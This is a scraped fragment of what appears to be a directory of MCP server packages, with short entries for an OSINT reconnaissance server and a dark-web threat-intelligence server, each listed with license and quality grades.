      license
      Not graded
      quality
      D
      maintenance
      A comprehensive MCP server that exposes multiple OSINT tools to AI assistants like Claude, enabling sophisticated reconnaissance and information gathering tasks using industry-standard OSINT tools.
      249
      MIT
    • A
      license
      A
      quality
      C
      maintenance
      Dark web & threat intelligence for AI agents. HIBP, ThreatFox, ransomware tracking, Tor .onion access, blockchain intel, exploit search, stealer logs, malware analysis — unified into a single MCP server.
      66
      419 npm
      524
      MIT